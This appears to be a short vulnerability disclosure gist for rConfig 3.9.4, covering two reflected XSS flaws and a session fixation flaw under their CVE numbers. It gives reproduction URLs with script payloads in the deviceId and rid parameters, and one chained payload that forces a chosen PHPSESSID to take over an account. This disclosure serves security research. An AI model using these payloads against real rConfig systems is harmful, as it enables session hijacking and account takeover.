farid007 / Rconfig Multiple Vulnerabilities

Last active 2 years ago

Rconfig 3.9.4 Session Fixation and XSS

Rconfig Multiple Vulnerabilities

```
1. Cross-Site Scripting (XSS) (CVE-2020-12256)

The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user inp
("><script>alert(document.cookie)</script>) in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the
javascript.

Step To Reproduce-:

  1. Login with the credential.
  2. Go to https://ip-rconfig/devicemgmt.php?deviceId="><script>alert(document.cookie)</script>



2. Cross-Site Scripting (XSS) (CVE-2020-12259)

The rConfig 3.9.4 is vulnerable to cross-site scripting. The configDevice.php file improperly validates the request coming from the user in
("><script>alert(document.cookie)</script>) in `rid` GET parameter of devicemgmnt.php resulting in execution of the javascript.


Steps To Reproduce-:

  1. Go to https://ip-rconfig/configDevice.php?rid="><script>alert(document.cookie)</script>



1. Session Fixation (CVE-2020-12258)

The rConfig is vulnerable to session fixation. Due to the lack of randomization of the session and reuse session(prior login, after login).
An attacker can exploit this vulnerability by chaining with XSS.he can set the user session and would take control of the user's account.

Steps To Reproduce-:


  1. you can confirm the same session by checking prior login and after  logging
  2. Now try to trigger the XSS by setting the session
  (https://ip-rconfig/configDevice.php?rid="><script>document.cookie="PHPSESSID=123456789"</script>).
  3. you can observe that session id has been set as of our choice.
```